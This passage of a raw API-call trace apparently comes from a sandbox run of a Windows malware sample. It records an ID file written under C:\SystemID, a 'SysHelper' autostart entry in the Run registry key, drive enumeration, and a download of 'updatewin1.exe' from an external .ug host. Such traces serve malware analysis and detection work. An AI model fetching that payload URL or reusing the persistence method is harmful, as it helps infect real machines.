(in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d660 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f89440 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30183e8 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d6b8 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d710 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018430 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30700f0 | out: hHeap=0x670000) returned 1 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x28) returned 0x30422c8 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3043ac8 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3043d30 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3043f98 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3044200 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3044468 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3073130 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3073398 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3073600 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3073868 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3073ad0 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x2fc3188 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x130) returned 0x74fa30 [0046.044] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fc3188 | out: hHeap=0x670000) returned 1 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1d0) returned 0x306a208 [0046.044] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74fa30 | out: hHeap=0x670000) returned 1 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2b7) returned 0x30154d0 [0046.044] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a208 | out: hHeap=0x670000) returned 1 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x412) returned 0x3068620 [0046.044] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30154d0 | out: hHeap=0x670000) returned 1 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x61a) returned 0x306c3e8 [0046.044] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068620 | out: hHeap=0x670000) returned 1 [0046.044] GetUserNameW (in: lpBuffer=0x18c6f0, pcbBuffer=0x18c45c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18c45c) returned 1 [0046.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x590) returned 0x306ca10 [0046.044] GetLastError () returned 0x0 [0046.048] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18c150, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.048] GetLastError () returned 0x3 [0046.048] GetLastError () returned 0x3 [0046.048] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0046.049] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c150, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0046.049] GetFileType (hFile=0x5d0) returned 0x1 [0046.049] GetLastError () returned 0x0 [0046.051] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0046.051] RegisterClassExW (param_1=0x18c3c8) returned 0xc13c [0046.051] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x701b0 [0046.052] NtdllDefWindowProc_W () returned 0x0 [0046.052] NtdllDefWindowProc_W () returned 0x1 [0046.053] NtdllDefWindowProc_W () returned 0x0 [0046.172] NtdllDefWindowProc_W () returned 0x0 [0046.172] ShowWindow (hWnd=0x701b0, nCmdShow=0) returned 0 [0046.172] UpdateWindow (hWnd=0x701b0) returned 1 [0046.172] GetLogicalDrives () returned 0x4 [0046.172] SetErrorMode (uMode=0x1) returned 0x0 [0046.172] PathFileExistsA (pszPath="C:\\") returned 1 [0046.172] SetErrorMode (uMode=0x0) returned 0x1 [0046.172] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0046.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x806) returned 0x3013b28 [0046.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c380, cbMultiByte=-1, lpWideCharStr=0x3013b28, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0046.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x307b208 [0046.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3013b28 | out: hHeap=0x670000) returned 1 [0046.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x30331a8 [0046.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x307b208 | out: hHeap=0x670000) returned 1 [0046.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30331a8 | out: hHeap=0x670000) returned 1 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x30331a8 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x30091b8 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x110) returned 0x74fa30 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x3013b28 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x309c980 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10e0) returned 0x307b208 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f893d8 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x3077118 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x660) returned 0x306ca10 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x309d208 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x309da90 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x309e318 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x309eba0 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x309f428 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x3077930 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x309fcb0 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30a0538 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x3078178 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30a7ba0 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30a8408 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30a0dc0 [0046.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30a1648 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30a8c70 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30a94b8 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30a1ed0 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30a2758 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30a2fe0 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30a3868 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30a40f0 [0046.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30a9d18 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30aa5a0 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30aae28 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30ab6b0 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30abf38 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30b9d00 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30ba568 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30ac7c0 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30ad048 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30ad8d0 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30badd0 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30bb618 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30ae158 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30ae9e0 [0046.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30af268 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30afaf0 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b0378 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b0c00 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b1488 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b1d10 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b2598 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30bbe60 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30bc6c8 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b2e20 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b36a8 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b3f30 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30bcf30 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30b47b8 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b5040 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b58c8 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b6150 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b69d8 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b7260 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30b7ae8 [0046.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b8370 [0046.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30b8bf8 [0046.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30bd790 [0046.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30cd778 [0046.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x30cdfe8 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30be018 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30be8a0 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30bf128 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30bf9b0 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c0238 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c0ac0 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c1348 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c1bd0 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c2458 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30164a8 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c2ce0 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30ce850 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30cf068 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c3568 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c3df0 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c4678 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c4f00 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c5788 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f894a8 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c6010 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c6898 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c7120 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c79a8 [0046.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x120) returned 0x2fe3848 [0046.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x74fa38, dwCreationFlags=0x0, lpThreadId=0x30091c0 | out: lpThreadId=0x30091c0*=0x6b4) returned 0x3ac [0046.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x4a4) returned 0x3a8 [0046.180] GetMessageW (in: lpMsg=0x18c578, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18c578) returned 1 [0062.505] NtdllDefWindowProc_W () returned 0x0 [0062.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x3100c28 [0062.520] GetComputerNameW (in: lpBuffer=0x3100c28, nSize=0x18c0d0 | out: lpBuffer="XDUWTFONO", nSize=0x18c0d0) returned 1 [0062.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e44b0 [0062.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.520] IsWindow (hWnd=0x701b0) returned 1 [0062.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e44b0 | out: hHeap=0x670000) returned 1 [0067.496] NtdllDefWindowProc_W () returned 0x0 [0067.496] NtdllDefWindowProc_W () returned 0x0 [0067.511] NtdllDefWindowProc_W () returned 0x0 [0067.512] NtdllDefWindowProc_W () returned 0x0 [0067.512] NtdllDefWindowProc_W () returned 0x0 [0067.513] NtdllDefWindowProc_W () returned 0x0 [0067.513] NtdllDefWindowProc_W () returned 0x0 [0067.513] NtdllDefWindowProc_W () returned 0x1 [0067.515] NtdllDefWindowProc_W () returned 0x0 [0067.527] NtdllDefWindowProc_W () returned 0x0 [0067.529] NtdllDefWindowProc_W () returned 0x0 [0067.529] NtdllDefWindowProc_W () returned 0x0 [0067.529] NtdllDefWindowProc_W () returned 0x3 [0067.529] TranslateMessage (lpMsg=0x18c578) returned 0 [0067.529] DispatchMessageW (lpMsg=0x18c578) returned 0x0 [0067.529] GetMessageW (lpMsg=0x18c578, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0067.531] NtdllDefWindowProc_W () [0067.531] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18bc40 | out: phkResult=0x18bc40*=0x6ec) returned 0x0 [0067.532] RegQueryValueExW (in: hKey=0x6ec, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18bc3c, lpData=0x18a368, lpcbData=0x18bc20*=0x400 | out: lpType=0x18bc3c*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart", lpcbData=0x18bc20*=0xd8) returned 0x0 [0067.532] RegCloseKey (hKey=0x6ec) returned 0x0 [0067.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e1f70 [0067.532] lstrlenA (lpString="\" --AutoStart") returned 13 [0067.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3017128 [0067.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e1f70 | out: hHeap=0x670000) returned 1 [0067.532] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned 1 [0067.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3017128 | out: hHeap=0x670000) returned 1 [0067.532] IsWindow (hWnd=0x701b0) returned 1 [0067.532] DestroyWindow (hWnd=0x701b0) [0067.533] NtdllDefWindowProc_W () returned 0x0 [0067.533] NtdllDefWindowProc_W () returned 0x1 [0067.534] NtdllDefWindowProc_W () returned 0x0 [0067.534] NtdllDefWindowProc_W () returned 0x0 [0067.534] NtdllDefWindowProc_W () returned 0x0 [0067.534] NtdllDefWindowProc_W () returned 0x0 [0067.534] NtdllDefWindowProc_W () returned 0x0 [0067.534] PostQuitMessage (nExitCode=0) [0067.540] NtdllDefWindowProc_W () returned 0x0 Thread: id = 35 os_tid = 0x5b4 Thread: id = 36 os_tid = 0x440 Thread: id = 37 os_tid = 0x6bc Thread: id = 38 os_tid = 0x7b8 Thread: id = 39 os_tid = 0x61c Thread: id = 40 os_tid = 0x35c Thread: id = 41 os_tid = 0x324 Thread: id = 42 os_tid = 0x39c Thread: id = 43 os_tid = 0xb0 [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x120) returned 0x301ce30 [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x120) returned 0x2fe2410 [0044.917] GetLastError () returned 0x54f [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3bc) returned 0x3068ff8 [0044.917] GetCurrentThreadId () returned 0xb0 [0044.917] SetLastError (dwErrCode=0x54f) [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x3033188 [0044.917] GetLastError () returned 0x54f [0044.917] SetLastError (dwErrCode=0x54f) [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd110 [0044.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033188 | out: hHeap=0x670000) returned 1 [0044.917] GetLastError () returned 0x54f [0044.917] SetLastError (dwErrCode=0x54f) [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0044.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x48) returned 0x302f488 [0044.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd110 | out: hHeap=0x670000) returned 1 [0044.917] GetLastError () returned 0x54f [0044.917] SetLastError (dwErrCode=0x54f) [0044.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd110 [0044.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f892a0 [0044.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x302f488 | out: hHeap=0x670000) returned 1 [0044.918] GetLastError () returned 0x54f [0044.918] SetLastError (dwErrCode=0x54f) [0044.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd2d0 [0044.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x2f51f48 [0044.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f892a0 | out: hHeap=0x670000) returned 1 [0044.918] GetLastError () returned 0x54f [0044.918] SetLastError (dwErrCode=0x54f) [0044.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0044.918] GetLastError () returned 0x54f [0044.918] SetLastError (dwErrCode=0x54f) [0044.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fe2410 | out: hHeap=0x670000) returned 1 [0044.918] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0044.918] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathA") returned 0x760e7804 [0044.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x400) returned 0x30693c0 [0044.918] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x30693c0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0044.918] UuidCreate (in: Uuid=0x99ad768 | out: Uuid=0x99ad768) returned 0x0 [0044.919] UuidToStringA (in: Uuid=0x99ad768, StringUuid=0x99ad6c0 | out: StringUuid=0x99ad6c0) returned 0x0 [0044.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd570 [0044.920] RpcStringFreeA (in: String=0x99ad6c0 | out: String=0x99ad6c0) returned 0x0 [0044.920] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="d5bfbe52-943a-4f73-97b1-39918fa00598" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned 1 [0044.920] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), lpSecurityAttributes=0x0) returned 1 [0044.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x410) returned 0x30697c8 [0044.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x410) returned 0x3069be0 [0044.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1000) returned 0x3069ff8 [0044.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3069be0, cbMultiByte=-1, lpWideCharStr=0x3069ff8, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned 81 [0044.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1010) returned 0x306b000 [0044.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3069ff8 | out: hHeap=0x670000) returned 1 [0044.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3069be0 | out: hHeap=0x670000) returned 1 [0044.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x3033188 [0044.921] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0044.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181f0 [0044.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x864) returned 0x3069be0 [0044.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30181f0, cbMultiByte=-1, lpWideCharStr=0x3069be0, cchWideChar=1074 | out: lpWideCharStr="http://texet2.ug/tesptc/penelop/updatewin1.exe") returned 47 [0044.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a450 [0044.921] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3069be0 | out: hHeap=0x670000) returned 1 [0044.921] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181f0 | out: hHeap=0x670000) returned 1 [0044.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306c018 [0044.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x832) returned 0x3069be0 [0044.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://texet2.ug/tesptc/penelop/updatewin1.exe", cchWideChar=-1, lpMultiByteStr=0x3069be0, cbMultiByte=2098, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://texet2.ug/tesptc/penelop/updatewin1.exe", lpUsedDefaultChar=0x0) returned 47 [0044.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x306c890 [0044.921] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3069be0 | out: hHeap=0x670000) returned 1 [0044.921] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c018 | out: hHeap=0x670000) returned 1 [0044.921] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://texet2.ug/tesptc/penelop/updatewin1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0046.031] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c890 | out: hHeap=0x670000) returned 1 [0046.031] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x99ad6d0, lpdwBufferLength=0x99ad710, lpdwIndex=0x0 | out: lpBuffer=0x99ad6d0*, lpdwBufferLength=0x99ad710*=0x4, lpdwIndex=0x0) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30182c8 [0046.032] RtlAllocateHeap (HeapHandle=0x670000, 